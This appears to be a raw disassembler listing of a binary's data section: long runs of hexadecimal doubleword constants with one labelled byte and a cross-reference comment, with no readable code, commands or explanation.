		dd 7DB52B6Ah, 0B789CC94h, 103ADCF3h, 3E884B0Bh,	6F12008Ch
		dd 770545CBh, 0C102F563h, 2E02948Fh, 0AE90F51Ah, 4A00E2F9h
		dd 0A5D1D2E0h, 28A8E19h, 89F39B5Bh, 0B47A758Dh,	0B2029F7h
		dd 0C4599509h, 56195AC8h, 0AD2B5308h, 1A22B831h, 0DE036415h
		dd 0A7BC2778h, 0C13D4EDCh, 76330FF0h, 0E513F0E4h, 7495009Bh
		dd 0BF66892Ch, 603D3957h, 4FA1248Bh, 0A56AC0ADh, 5AD48214h
		dd 82DF804Eh, 4A21DA25h, 59BA2061h, 6400FC31h, 3BA0C16Ch
		dd 5CEF056Dh, 8727C0F5h, 0D93099E6h, 0F6F45515h, 0CD6DE3FFh
		dd 0C801B6B8h, 0A89A1317h, 0C188FCBFh, 0B9131BEDh, 0F22E787h
		dd 671EDE82h, 2E31F8D5h, 21021999h, 35D241h, 35C46EBBh
		dd 0AF1634BEh, 0C5DBE956h, 913BE480h, 0F00237CBh, 0C1D0A59Eh
		dd 3736AB8Bh, 7113802Eh, 6DDC97Eh, 46E8E316h, 830976E3h
		dd 5F8401E1h, 0E216F325h, 8B48301Dh, 8701B700h,	0DE77EA99h
		dd 894CF3D9h, 635A9FCh,	824C0015h, 617C6CF2h, 0A96E605Fh
		dd 85342500h, 84A50AF1h, 0ADBD2917h, 0DB0AB9B2h, 6BF047C0h
		dd 760037B7h, 6CB7907Ch, 203F984Ah, 0FA822DF5h,	371A29F7h
		dd 499384FBh, 0D86EC1CFh, 0C950AD5Dh, 3A2051BCh, 5A2B404Dh
		dd 25CA8014h, 33726AAAh, 604CB4F6h, 0A39D2FE3h,	22CFF853h
		dd 8DE9A10Bh, 0EBB88D80h, 8B179BCEh, 64051AAh, 1EAE714Dh
		dd 0CA870191h, 0EA22DB5Bh, 7BF289E1h, 8C50702Ah, 0D7618009h
		dd 606438h, 25EEC172h
		db 7Eh,	15h, 0C8h
byte_544547	db 8Ch			; DATA XREF: ___:off_44720Co
		dd 8EB91838h, 2223CCE8h, 4CCF5C28h, 44B4BEEDh, 0F1E7C157h
		dd 895E0217h, 0B70B5ABCh, 99947710h, 49912900h,	8E97B60Dh
		dd 89F03AF8h, 837EEB8Eh, 3CDF8B46h, 0BF0133B1h,	5EC71947h
		dd 9752DEF7h, 0D542DC4Fh, 8C0257E1h, 0B29AF084h, 5BC029F7h
		dd 39417091h, 3056F760h, 0DA0ADA89h, 0B2FCC0AAh, 1BE04F4h
		dd 0DD1D25BDh, 4E442229h, 0A08918DBh, 9D891802h, 0E3B8AAF7h
		dd 51746D6h, 9D99303Bh,	0B69D905h, 8BDDD988h, 4A85183Bh
		dd 3380EFDEh, 0E9900E1Dh, 0A168DC24h, 29DBEAA7h, 0F1FF13Ah
		dd 84E4B291h, 8015F8DBh, 87EB6E8Dh, 0C1634A53h,	74456A6Dh
		dd 6BAB57Bh, 586807AFh,	0EBC0A865h, 1AB57BE0h, 0A8D18B81h
		dd 9C4F8209h, 0F48CD345h, 619C0089h, 0BBAB919Bh, 58BF55FFh
		dd 9C608BD2h, 25F7F94Ah, 55702FFBh, 0F37101EEh,	0C7F83FA7h
		dd 0D2CF2985h, 27809FDBh, 611EB50Ah, 6C3795h, 950BE241h
		dd 0AE9F19C5h, 1E31E8DFh, 9D6107EBh, 305B0BE9h,	92930D8h
		dd 506CE54Ah, 78C96E6Dh, 3741B52Bh, 66601075h, 0A8D8278Ch
		dd 4035B004h, 0B5FF016Ah, 3F68979Dh, 0B041A785h, 0C27ED0F1h
		dd 8B000F8Fh, 31EFC1FEh, 43C680Ch, 1EA2B920h, 0D925702h
		dd 50FF77A0h, 0BFE91A95h, 85C6F421h, 13C382Dh, 30DF6856h
		dd 7E88A9C5h, 5DD02141h, 0E50EA10Bh, 8D069725h,	5605347Ch
		dd 6112006Eh, 6E0C1C3h,	628BA4Ch, 0EA81F011h, 0EBA9083h
		dd 958914C2h, 0FF972737h, 6F4E5C38h, 5264E840h,	0EE7090FFh
		dd 95A5BA89h, 2B586230h, 0F01AC264h, 81041CA8h,	825A4D38h
		dd 0C02E1283h, 33C50B7h, 3A813BD0h, 84194532h, 2D9C025Ch
		dd 0E9131010h, 8B8846D9h, 0DD20FEC8h, 40031915h, 88064F3Ch
		dd 1E22E9C2h, 12657D8Bh, 58F4655h, 1CC35BF8h, 1BD1030Ch
		dd 4D092920h, 123808DBh, 28644075h, 0B56D058Fh,	0E1F1E462h
		dd 0EC245C2Ch, 0A9811002h, 0B5148CB0h, 0C0330259h, 5DBD83C3h
		dd 0E129234Bh, 4760FD24h, 23A7D268h, 2CCAD49Ah,	150C0129h
		dd 9DD3EB16h, 3809F02h,	207CFE29h, 0E6F617BEh, 0FBAFE0A3h
		dd 4D9FC0E4h, 7E06C092h, 3538AD70h, 290D2C31h, 11D5588h
		dd 0DCB738BEh, 0F1F08867h, 9758C13h, 10E93512h,	61501974h
		dd 38B88A53h, 0E0D13F04h, 0F5821479h, 0E6E9F09Dh, 585BD301h
		dd 82172258h, 0DF23201Eh, 0DEA426E6h, 5271001h,	11B50B91h
		dd 0EE77C42Bh, 0D600576Eh, 7C91323Ah, 7F272F95h, 91C6C3E8h
		dd 7B2C85BDh, 8662F7Ah,	33D943Dh, 0AFEF5FE7h, 0E27792A6h
		dd 0B7E1F9CCh, 0FA22A56Ch, 0D7830B74h, 13C885B9h, 12F41E1h
		dd 0A00A59AAh, 0EB99AB0Dh, 0DCA9121Ah, 0AC73DC55h, 1A80F72Ch
		dd 447BB009h, 0EFF244h,	0D18ABC08h, 0E0CEE74Dh,	5F3D3601h
		dd 0D9CCBE65h, 0CB71BC35h, 74B8C27Dh, 8DFCB624h, 32FEE101h
		dd 9E65ABE8h, 6289B9E8h, 181164B4h, 39323DDDh, 0D735A300h
		dd 59C5CDACh, 78E8C718h, 0CC68167h, 49E20341h, 6B92196Ah
		dd 12DCB8BEh, 0AFE519CAh, 0C4F9A125h, 51C29C4h,	11DF38E8h
		dd 9AC548Ah, 0ADF8659Dh, 0DDBD0112h, 0F731CFEDh, 2A22FDCAh
		dd 5800E67Ah, 750DCE4Ah, 0DC05E5FAh, 6DEE804h, 0CE89CB9h
		dd 83B1F701h, 8AAA5B9Bh, 0E80BC42Eh, 81B0621Dh,	50600115h
		dd 615AC85Fh, 75A4E834h, 859F60AFh, 49822009h, 41271EBDh
		dd 2AF43CB1h, 2195C8h, 40AEDBA0h, 2F77F1C8h, 0F6704117h
		dd 0B58697F1h, 8F58E85Fh, 0DC4BB4h, 428D9235h, 0ED918514h
		dd 88C8E46Eh, 50DF60Ah,	990CE87Bh, 4B315B68h, 402D558h
		dd 0CEA520BEh, 2407F55Ch, 8FA2ED6Fh, 1D756E40h,	74260950h
		dd 166AE827h, 0E04F6F7Eh, 5F24E592h, 0CA50382h,	8F12ECB5h
		dd 0E83CC7C0h, 0C2CC5902h, 51810FEBh, 20DB3FAFh, 0A76B04B8h
		dd 3722700h, 8F515E1Dh,	47280FA4h, 902235A1h, 6C406D0Eh
		dd 59812701h, 0A049C09Fh, 0E8F116A0h, 609D9A64h, 6231B5F0h
		dd 4712806h, 2FC67009h,	423D1E8Dh, 0BD02200Eh, 0EE8A7B00h
		dd 950560E8h, 0C7D0535Bh, 0C8C6006Ah, 6DA8B807h, 60046B44h
		dd 93D9D29h, 5D3EEBDh, 442AA501h, 88229166h, 1E19D77h
		dd 463AB501h, 0A110E801h, 1A209B90h, 9C5D5581h,	4E45602Eh
		dd 0A084DACh, 1604F6E8h, 9834BC29h, 822BF138h, 9F030E59h
		dd 0E891216Dh, 280C497Eh, 4EFA3199h, 0C0739ED5h, 896B8677h
		dd 4098BC48h, 8169C1C7h, 0CB929300h, 99DD5ABEh,	0F6341880h
		dd 6359ED7h, 40F8EF97h,	0CC8A7923h, 0ABB8C54Ah,	0C58D8BC7h
		dd 0FAE7E405h, 467E814h, 21C9130Eh, 0DF0E3732h,	0C5617030h
		dd 0F92558h, 0A7FEC971h, 0CF3280h, 0FB95F014h, 0B00D75DEh
		dd 145B5A8h, 11ED3597h,	73158019h, 487D69B5h, 0B212F541h
		dd 2FECE149h, 2E801A9Eh, 0F6F79B8Fh, 0E41858E0h, 0C15CBDAAh
		dd 0C38B251Ah, 0E140117Eh, 3D87CC6Ch, 1D8B207Ah, 3B04EB25h
		dd 5FDBB85Eh, 0EC800D9Bh, 5B1ECCB5h, 7127CF2Eh,	4AB50515h
		dd 956FD8C4h, 1037F26h,	0B12F3220h, 68E72A58h, 54E1DDA0h
		dd 40F79500h, 50539BFBh, 84D94EB1h, 0C94580A5h,	19977DD2h
		dd 8DD93101h, 975B6C64h, 30108B7h, 0A678E609h, 2F200178h
		dd 0D958D17h, 0B8A92756h, 1C00CCB8h, 36A1D62Bh,	0B8501A89h
		dd 8222E223h, 442D702h,	1DC1DF4h, 0F8CB8454h, 6025D687h
		dd 0B2C4F09Bh, 0CADE0349h, 7F8E34C0h, 85A0FCF1h, 5F833315h
		dd 0B766EBCh, 71CE0375h, 0F8019325h, 408091A2h,	8E35E9ECh
		dd 0F41AC0EFh, 0DC6C7C1Ch, 3E35A5FAh, 95BCB23Dh, 0A0CD6569h
		dd 0DBE790C1h, 0B36157D6h, 2B590020h, 3049248Dh, 21794212h
		dd 2AEC255Ah, 0BBB99ACh, 1415B50h, 0AE3C4DE4h, 30F5A263h
		dd 2538969h, 3DCE4099h,	206F2441h, 0DBEE1FCCh, 0D7B8EC00h
		dd 47783D39h, 9FEA2471h, 0CC31B665h, 53A42BFEh,	7D4BABEh
		dd 80345AEFh, 81901479h, 542B5D6Bh, 0A6EBE51h, 45F6E204h
		dd 854DC702h, 1580433h,	800F031Eh, 4B33760Ch, 0ADF43189h
		dd 29C9482Ah, 0FD2E3AB4h, 21C42DDCh, 470246E3h,	0F1FCD7B9h
		dd 3798893Ah, 471A8005h, 186A7943h, 2365AEC5h, 6AFF9774h
		dd 9DD92448h, 4D95D104h, 103F104h, 25ED8529h, 16A24426h
		dd 25FE4030h, 75C350D8h, 37AA2E69h, 188680ECh, 4C256463h
		dd 0A8FDDC1Bh, 5FF4A4A4h, 0B9AD5D95h, 80519B4Ah, 0EEE72D8Ch
		dd 1FA1FE73h, 4027214h,	0A11D9D89h, 1A4292F8h, 181C6EBEh
		dd 81FF718Dh, 0A2A703C1h, 0D3E97AE6h, 41A0275Ah, 176BB8D6h
		dd 0DB6A61CFh, 0A351C7E1h, 413578E9h, 679420Eh,	15C70927h
		dd 0AF28D9DBh, 0D10940B7h, 0E451A4h, 9B9F84E8h,	0F0BC6627h
		dd 0B31D9640h, 0D5190E1Ah, 74A1B4C3h, 7D6AA97Bh, 7F93BC49h
		dd 87D10BE7h, 0E2062729h, 0DB95E76Dh, 0F03C7024h, 0F95C6D04h
		dd 65ED8D09h, 576DA87Ch, 649100CAh, 0C58A69A3h,	2DE06DBEh
		dd 0C08B2812h, 0CC28BB6Fh, 7AFB5AF4h, 0EED10FBh, 6AEA5784h
		dd 0F8112042h, 68B585E6h, 2D002FA2h, 5AEBE3B7h,	897DAA78h
		dd 0F373AB1Dh, 265D4042h, 0DCDAF6BFh, 2070A2FAh, 0F28B621Ah
		dd 65B0F6E2h, 32A2C203h, 0F1558209h, 52F6092Eh,	0E802864h
		dd 0A0184E9Ch, 9B2404F4h, 356A782Eh, 70B58801h,	42058EDAh
		dd 88498D3Ah, 418C0F54h, 8572D780h, 759D8B16h, 33163AE2h
		dd 87BB87Ch, 610BA995h,	840E8B0Fh, 8D016041h, 7C4C8EE9h
		dd 61264D22h, 0F99D9790h, 0C0BDCD6Fh, 0F072E251h, 0A006B2C8h
		dd 2F7528A1h, 9D332567h
		dd 54491076h, 0D5ADEC5h, 18B25AE6h, 1939F630h, 0F71742CEh
		dd 4EFCC68Dh, 6DB58982h, 6BD12504h, 29D40253h, 0A19458Dh
		dd 2015088Eh, 99314125h, 899D0910h, 2CD0864h, 38C9ED9Bh
		dd 3A308CE1h, 0CDC23120h, 40D39C90h, 543FBA4Fh,	0CB7D5B00h
		dd 0BFED3A33h, 803A9950h, 5630D219h, 904A0779h,	7A837BDBh
		dd 1A894E3Ah, 0ADD442B6h, 0CD272D56h, 6B9C1CEh,	0BD33F487h
		dd 17167D20h, 0E20DFFE9h, 7C3DC4C6h, 0C3CA9A24h, 9C96BC94h
		dd 0F20037F2h, 0AB80F677h, 0C0058D8h, 0B8403E7Eh, 93E1ACCBh
		dd 0B161783Dh, 0F675C524h, 24E59D13h, 0C6E1E340h, 0A8B79DE7h
		dd 5F180280h, 12A3EDD6h, 24B47740h, 9B5195E9h, 46D8C020h
		dd 250B35BFh, 2A6C4393h, 5BD39A0h, 45887594h, 364C2522h
		dd 11E922h, 4331367Ch, 0D6BD6D83h, 324C7300h, 0EC8B5FA3h
		dd 0CC425F88h, 0BD7729DAh, 88BE619Ch, 8F02840Fh, 0B5225DB3h
		dd 3D7F0A59h, 88D50E9Bh, 15606C41h, 0C080CC5Ah,	0F8372B4Bh
		dd 61BA8265h, 1304D95h,	636C49E9h, 518D310Ch, 0E8E0B0FBh
		dd 11E0944h, 186DF473h,	0D4252770h, 0BD5FFCh, 35E4D72Eh
		dd 27D412Ah, 0F4DEDFD4h, 235B1C99h, 0D207AA42h,	0B3C85007h
		dd 0BDC49761h, 73971598h, 8529092Fh, 0C18B6768h, 128DBB3Ch
		dd 42EF3DA9h, 3CDBF00h,	0AFB69A78h, 0D1C82B0Bh,	0EA5100C5h
		dd 0C989CAFFh, 8B4A660Ah, 0D106D1D8h, 24AA5753h, 0BA65BFEh
		dd 1DC929B5h, 0A041520h, 0C81631B9h, 2300799Bh,	4B01933Eh
		dd 1E6E76h, 0D2965205h,	57BB27F7h, 226D5919h, 5C3D8568h
		dd 96DD9050h, 60BF260Ch, 2F74AEC7h, 10716427h, 7BC4F20h
		dd 0B7924703h, 0F07A207Eh, 812CC01Bh, 0BB24855Fh, 88D68D16h
		dd 3E2BE012h, 3B40919Dh, 75BED051h, 6E8C2BCEh, 175369E9h
		dd 0EB816EB0h, 0B0D7E50Eh, 3CC7C77Bh, 743F7C22h, 890F6255h
		dd 0D04E5A46h, 2A843091h, 0BD958910h, 9825FF96h, 2CF810Bh
		dd 6F0B1FCBh, 2985A583h, 8D1881FEh, 79890214h, 0D9C425F3h
		dd 9926B5FEh, 601C850Fh, 0BAD35967h, 8061F383h,	6A42FE5h
		dd 1D0AE9h, 0D48AD1B1h,	8250F936h, 6ECB602Dh, 0BCB597D7h
		dd 8B603E02h, 0E34AC0DAh, 61D90D47h, 7AEAFAB9h,	271E26Fh
		dd 0CC6F5DABh, 7CFE4538h, 3510BFC8h, 9DFCB740h,	0D012F3B7h
		dd 0FCD97504h, 49DF9CDBh, 1957B8E5h, 2C23584h, 0BC40D22Bh
		dd 331AADDEh, 805CD1C2h, 7504E90Eh, 401DBCF4h, 0D68F330Eh
		dd 0FAEC5D00h, 28C1A416h, 0D6B017Ah, 0FB1039D0h, 86AF47CBh
		dd 31393588h, 0F6D95595h, 51B94E1h, 2398D81Ch, 7CA18D19h
		dd 0A76D9F2Dh, 0BC9BC6E0h, 4AFC042Fh, 0C1B8C4FAh, 141488D1h
		dd 542420FAh, 34FC9830h, 86792700h, 80F1C575h, 5B9316D7h
		dd 180DF050h, 8C10337h,	608A958Eh, 800F5819h, 664FC104h
		dd 2FAE26BBh, 0CE80D8DBh, 5B43C9CCh, 0DF36B205h, 0CDC15AB3h
		dd 222F0611h, 0B82519F9h, 40B17598h, 0E7E28D15h, 51204F41h
		dd 0FF054025h, 0B94CE162h, 0A7F41922h, 46437BBh, 807FACE9h
		dd 1A62CB9Dh, 14030A4h,	20628ADFh, 0FC030F11h, 5F8A9A86h
		dd 2CC0B7EDh, 4F2E4E0h,	33609161h, 0A057EA9Dh, 7AC007E8h
		dd 0D3B2E6F3h, 49A0D48h, 606159F2h, 0C326EABh, 0F03814B7h
		dd 6944EA99h, 8DE5437h,	14E8D910h, 0A14B508Ch, 92F704E7h
		dd 0DB04E180h, 0A26C265h, 8DBB82C9h, 80ACBD01h,	595F011Fh
		dd 0DCD3C8B9h, 6517A04h, 29E858E9h, 0DC02FEFEh,	0E5853077h
		dd 2EB66DDh, 0A1962311h, 940F476h, 331707ADh, 0B4402985h
		dd 0E0E7EF81h, 504A121Eh, 0A618958Ah, 0F0F3E3AEh, 2929A9Dh
		dd 0B509576Ch, 0F8021A11h, 4009726Ah, 90BF5221h, 0FD4C91h
		dd 0E1F16AD8h, 5BC69BA0h, 0FB36807h, 8F342E64h,	0CC8AAAh
		dd 1913ECE4h, 1BDD7Ch, 5A228F3Fh, 9E14ADA9h, 24348101h
		dd 2E7B0C4Ch, 7EB9AA29h, 8DCDAE94h, 132AA971h, 998E0402h
		dd 169EAA2Dh, 0D5CA8380h, 330B1836h, 98548A51h,	1F96ADC4h
		dd 0CB2578BBh, 7304F3B8h, 5F534702h, 25AFD019h,	0E3EDE7F8h
		dd 7B7F38E0h, 0B3D9958Ah, 1BAE904h, 7AC159DEh, 20F58243h
		dd 9DD69D6Ah, 19255304h, 180BC70Eh, 0F6018B19h,	0A15040FAh
		dd 35279D18h, 45C8A51Bh, 9954B259h, 6FFFE4C3h, 0AB480089h
		dd 314FB320h, 8D7E5C9Ah, 41C4335Bh, 5EC4A758h, 2E0E3F6h
		dd 0B3053035h, 0BE9E5B5Fh, 849DBB83h, 0F630DA49h, 495C8D09h
		dd 44685E5h, 0BB8D6BDh,	96185A1Dh, 0FFA64EB9h, 77E13EF0h
		dd 0D2949F16h, 0C615A5A1h, 0CDC0D09Bh, 12E31071h, 686DCC07h
		dd 0B930C07Ch, 988159B3h, 4383022Fh, 8DF846B6h,	1864634Dh
		dd 58B89760h, 0BB556C00h, 5DE31ECAh, 789B090h, 13BF6650h
		dd 19378935h, 886F5980h, 259E6ACFh, 808AE6BFh, 876CBFDh
		dd 0D38D1CDCh, 0C005D231h, 0C2DB80F0h, 376E614Ah, 9AA56418h
		dd 0F402BBFBh, 0C734209Ah, 0D107E685h, 28BDB02Fh, 0CF0216D3h
		dd 416D7CF0h, 0D6832006h, 423C615Ch, 2D7B59E1h,	0D821F35Eh
		dd 0CB161988h, 1608293Fh, 4FE90B0Ah, 5FDA4873h,	8EE2D381h
		dd 1E5F731Dh, 9D4062EAh, 0BFDB44Ch, 9DD295BDh, 30505F07h
		dd 4407110Ch, 0E8C10130h, 0EA4F510h, 894C1FC4h,	0DC485803h
		dd 366EEBE7h, 6421F036h, 1BB170CFh, 28299A50h, 58180621h
		dd 57016813h, 5903491Bh, 0D4AA80C0h, 2B96C277h,	8503B8F6h
		dd 7B958635h, 36BF5091h, 8880204h, 85A014DFh, 0AE828219h
		dd 452925h, 5F03FC89h, 28012C3Dh, 1B2D9D8Bh, 13478404h
		dd 80FEE82Fh, 0A2EFDCD6h, 80510089h, 3FAD42BCh,	0B0B26E1h
		dd 0D4C40754h, 0AEAB042Dh, 4DDF05Fh, 419AEBBCh,	993B615Dh
		dd 106C710h, 330484E1h,	0F8A0219Dh, 8E0F2C96h, 14B741BDh
		dd 0F2B52150h, 49377Dh,	312AF5Bh, 0A56659Dh, 0CBB65F71h
		dd 52E2D0E3h, 0B77D907Dh, 39902DEh, 5BBA1B92h, 2A098081h
		dd 81315BE4h, 0BB66387Ah, 9B5920CDh, 0CCB8B569h, 104A7204h
		dd 7C4009E9h, 0F4A230DEh, 0F9C7120Ah, 963AE017h, 9A05B915h
		dd 5F6F3165h, 0A8A08512h, 760D22ADh, 64D2709h, 0C486A2C8h
		dd 72DE3AE1h, 4B55E393h, 6EAEBB34h, 82800A7h, 94CC8B7Fh
		dd 5C517009h, 0A45A256Dh, 8313F853h, 1BC04C2h, 205089C2h
		dd 0E3B569ECh, 0B3894C32h, 0A20CD412h, 322F2013h, 0B8FE6CB3h
		dd 931A911Fh, 0C48C32EAh, 7EA14761h, 3C7ADD52h,	2347E1Fh
		dd 0B0C1DC10h, 1610960h, 856C3185h, 81C2040Ah, 0BF3AF9DEh
		dd 0CD12FEFEh, 0E821500Ch, 46972434h, 67288420h, 0E2F22660h
		dd 7468D5BDh, 0EB068161h, 6D6AAECAh, 90115E60h,	0DF9BDBCh
		dd 5446F89Ch, 82605FC5h, 2B001DE1h, 0CD2EC595h,	8885504Fh
		dd 271E5925h, 3B00A064h, 359352F0h, 2DC812C7h, 0CE44F253h
		dd 0EEA37300h, 30E71FD7h, 31BB0095h, 0ED703EAEh, 592A438Dh
		dd 2E7F1761h, 639BAB00h, 0DF8DB139h, 0C2381C03h, 465ECA1Fh
		dd 0F380417Eh, 7DE0881Eh, 13C22802h, 48783D3h, 0CACD9BF6h
		dd 789A4B56h, 7CA6580h,	4C047EAAh, 53F20ECFh, 0C07427AFh
		dd 0C2E5CF9h, 0C0057400h, 1E3E94CBh, 0C3810015h, 326B02B0h
		dd 1019BF5Bh, 71B12052h, 9BCB126Eh, 8E30825Ah, 90EAFE03h
		dd 226E580Bh, 302149C2h, 6BF10228h, 0FFCD3D62h,	0D986D5C0h
		dd 564C01FCh, 0AEFE7ABBh, 9D9A421Dh, 7890E7F2h,	251EB520h
		dd 7F73C6F9h, 669ED0h, 0C6AEC941h, 93BCBFB4h, 0E5200B98h
		dd 85C7130Dh, 705BEC71h
		dd 6455EF9Dh, 0FDA98392h, 23E9590Bh, 0F40476F3h, 0C44DDC05h
		dd 0C3B19005h, 130C1C9h, 0CF61D0D5h, 9B73957Bh,	0E2FE8B09h
		dd 0E0BA4D5Dh, 0F1A9965Bh, 1E2661Fh, 0BF4CF4C0h, 6C169323h
		dd 0DF76546Ah, 648D0BCBh, 0D6BF0049h, 0B52957DEh, 90CD1F11h
		dd 8CC09E5Fh, 523797E8h, 0CDCE0A80h, 781C13Fh, 0DF7DB4CFh
		dd 2DCB600Ch, 644FF2E5h, 0FC158620h, 0AF460068h, 0A08C7017h
		dd 9409BF1Ch, 78B5A9B2h, 8EA1A006h, 58920718h, 1B9D0156h
		dd 905B0322h, 4D0A807Fh, 8006F921h, 0ACA1585Ah,	1476FED8h
		dd 973DE10h, 1DBD0B61h,	0DE5EE4E3h, 209D5D98h, 0D09002DDh
		dd 92CF6948h, 0FE6FBBh,	88571F87h, 97F88FC7h, 1D91FF35h
		dd 0AD506A80h, 6F024515h, 0F6286D44h, 57888C23h, 8DFA388Bh
		dd 0F23BA3DEh, 1C16301Ah, 3027551Ch, 0D1FF93C4h, 63A203BCh
		dd 35D22B27h, 287B3218h, 1D61150h, 0C95BD03Fh, 420A6730h
		dd 0C65550DDh, 855E5EF9h, 8974F296h, 3E195D61h,	0E5CC3ADDh
		dd 89035890h, 0B29B2520h, 3051B584h, 0B8A0E904h, 8C0AE1CDh
		dd 0F729C304h, 745EFB9Ah, 8DCF4BDCh, 6E202E95h,	0EFF8E3h
		dd 54F40CAEh, 55C2DE3Eh, 0F96A4590h, 0BB8171B5h, 3B2F6FC3h
		dd 53E205h, 1E549449h, 1F5B4853h, 8E0FB5C1h, 55F26160h
		dd 3F069084h, 3F402559h, 5FC44E80h, 0E780E200h,	3894BDCBh
		dd 0C86C01FDh, 0CA8D2A7Dh, 2FC73EBFh, 0D1B6FE40h, 565F6414h
		dd 96A9B990h, 0A803DF08h, 98F84BB5h, 0BF05FCA6h, 127B268h
		dd 0FB2764EBh, 64860C4h, 0FF6A092Ch, 5B809137h,	894CE084h
		dd 75780BEBh, 7FF84D87h, 3BBB2D96h, 0CFA05C6Dh,	957A9206h
		dd 553D100h, 9DD38275h,	0F640D09Ch, 2C66B85h, 0B38197AFh
		dd 0C35C5BC7h, 435412C4h, 0B058F45Bh, 6A02BFE0h, 0E6324298h
		dd 288FFF70h, 0BAA271CBh, 0EC77246Dh, 547997D0h, 0C9B96164h
		dd 4CADF29h, 0AAF5C8B6h, 58BF648Ch, 894850F8h, 0FC161116h
		dd 0C4B38419h, 9DD742FAh, 0EC57198Dh, 90550148h, 8603ED36h
		dd 5AC83E6Fh, 0C7C84B2Bh, 7A562909h, 3D03B23Dh,	0FC8A2202h
		dd 99D614E2h, 0BD9D2B82h, 4B845229h, 87B85DFh, 0F59A01FDh
		dd 2433A814h, 72F88B09h, 0E921447Eh, 1241344h, 224E067Eh
		dd 0DCA564E3h, 481E9995h, 43023151h, 795B23C4h,	98626CEh
		dd 2B74D4E2h, 0E335626Dh, 377F222Bh, 0A5A5FC27h, 3DFE150Ah
		dd 0B3D91780h, 386D2316h, 4D1E715Dh, 0CBBBC0A0h, 328B05C1h
		dd 12B723B8h, 914F831Ah, 0E60D4902h, 98CCA4Ah, 0F5E8187Bh
		dd 739FF737h, 531D95h, 50218AACh, 7F9981Ah, 9314D0D2h
		dd 15A760B7h, 0F52ED617h, 0C912EE66h, 1E5FA2E2h, 0E14D92E8h
		dd 247B3FAFh, 0E5050273h, 0D26B95Dh, 1FE63DDDh,	806F012Dh
		dd 8FDC922Ah, 696A8AA0h, 916C077Ch, 2CA971C9h, 1E850874h
		dd 10F1D83Bh, 8C4A2649h, 48BD8599h, 99BAF80Ch, 0C8E8871h
		dd 0ADBC8845h, 4A8FA9D3h, 9B5F8CCFh, 0FF8480A6h, 0FD33E4h
		dd 0E161465h, 2B59509h,	3938BF80h, 894B0B26h, 0E5C82EA1h
		dd 0D59B0025h, 32E7C19Dh, 390694BCh, 8F4104Ch, 0E8D2734h
		dd 3C82F71Ah, 0B25C2AADh, 93C781E0h, 207325A3h,	0DB6979C5h
		dd 85D47096h, 40C4512Dh, 1224BB14h, 0E2133902h,	0C63D8971h
		dd 0A712053h, 0C2FDE581h, 0E6356105h, 0C727EB04h, 53CB7DB8h
		dd 2E40EA5Eh, 362FC87h,	0DF1CC020h, 18995CD8h, 285BC592h
		dd 0E1FF0A19h, 2A169529h, 958B53DDh, 19D4049Bh,	0B28304F4h
		dd 81D639AEh, 58150D4Fh, 0CC830133h, 9FEC89B9h,	6E1F8804h
		dd 99C4FE25h, 0DBE032AEh, 1651C05Ch, 3F60FC11h,	9880569Bh
		dd 6F0B8F1Eh, 943E6A00h, 0BD2B8063h, 3E1C4539h,	0AAC05D9Eh
		dd 79FDDF27h, 4B58DC38h, 8D298F80h, 0B4C9D205h,	14F4F79h
		dd 0BAA422A7h, 4060B7C2h, 99022131h, 252490D8h,	9C8C4661h
		dd 526625D4h, 0BB0B567Ah, 905F0527h, 20A7D9E4h,	514A358Eh
		dd 0D9886435h, 836C960h, 0D725E6D0h, 0DE2CDE61h, 0B8CFA60Ah
		dd 510BBDA0h, 0D1819009h, 0F0298104h, 15F90879h, 1806EFAh
		dd 0BFA67F8Dh, 19E1E6BEh, 12E98A31h, 3872E802h,	1F03FF1Ch
		dd 0D0A5DC32h, 31CDEA6Ch, 0B3578B63h, 0B087DB01h, 4AAB4189h
		dd 0F9BF6FA0h, 4509D175h, 50FD8A58h, 9B6FB564h,	21BA406Eh
		dd 66B060h, 0E0576733h,	5C59531h, 29EDBB92h, 58CC4A47h
		dd 0DE109F60h, 0A200D60Ah, 0D1DDE2EAh, 16A380BEh, 0CD867A65h
		dd 0ED716067h, 0E96100E7h, 0BFDB9F9h, 0A2293585h, 8BA03B59h
		dd 602CB7F2h, 27185803h, 9761D123h, 2EFB4331h, 24FD3F35h
		dd 4205ADB8h, 9F2272F4h, 499221AFh, 358C3B41h, 1602726Bh
		dd 94DAF1B5h, 0EE34AF05h, 2E6CBCC0h, 5F542DE4h,	8A257946h
		dd 9780C6D9h, 0ADEAD6E4h, 0CEA99D03h, 573D380h,	0F96006AAh
		dd 3870929h, 362B112h, 0C9B7942Ah, 41EF3D58h, 21EF9A4h
		dd 0A545595Bh, 0A8897A42h, 7300E6F9h, 0F1392302h, 0BF73996h
		dd 598EE601h, 0F96AAB3Ah, 80426CB4h, 0AC8374E2h, 31A53DB9h
		dd 0F2472380h, 5FDE0512h, 93615C2Dh, 1225AACAh,	51DBE529h
		dd 1EAA478h, 7EB556D4h,	0EEB6CE25h, 89D846C1h, 36243568h
		dd 0DFFD25ACh, 0A1616FD4h, 0F6404711h, 3F1319C0h, 4182D414h
		dd 9565247Bh, 0AA15C798h, 544EEAF4h, 0CA4DA520h, 2CDD077Fh
		dd 195FA8C0h, 4A5D519h,	0AD806FFCh, 494ECF8Ch, 91B7BC09h
		dd 0D8DE125Fh, 8DC64A4Dh, 0C561E947h, 4DB3A58h,	0B8232584h
		dd 0B589C1BFh, 0A86906D5h, 4DA7DE21h, 2142404Ah, 0EB056698h
		dd 947905FFh, 0F428AD05h, 12005BA2h, 0E55827EDh, 0A8004972h
		dd 4470DF84h, 9B7CFFCCh, 81D264Fh, 61041871h, 95E853F8h
		dd 7C15CA80h, 73032439h, 0D88B591Ah, 81B88C5Bh,	45B509B0h
		dd 1495239Ah, 9D3E705Ch, 49D05153h, 27E976EFh, 4D90B06Ah
		dd 44F25D5Ch, 8EF4FE00h, 0FABCD83Fh, 0A1952A89h, 5DE948B6h
		dd 0B8D98B84h, 4794EB3Ch, 481BF18h, 0AA0B01F1h,	37610A70h
		dd 0AEA482B0h, 0A4E1633Bh, 85110ADAh, 0DE206540h, 0A6ADDC2Dh
		dd 75D224F3h, 57FC5642h, 0F1110269h, 520F540Eh,	8909D74Ch
		dd 0E82349BDh, 8127A5BBh, 38352E61h, 0EBE4DDB6h, 9401F88h
		dd 46421761h, 0BFA0BC59h, 0C63F1125h, 7003BB5Bh, 0C2010F76h
		dd 4916695Ch, 5C89FD54h, 0D80132D8h, 239636F4h,	0DB1500B6h
		dd 2B03C00Dh, 13394C4Fh, 53505B09h, 0D5EEDBE4h,	0A7934405h
		dd 0A2BC849Fh, 967E09D2h, 3DCD37Eh, 85AC6FBDh, 2A9F339h
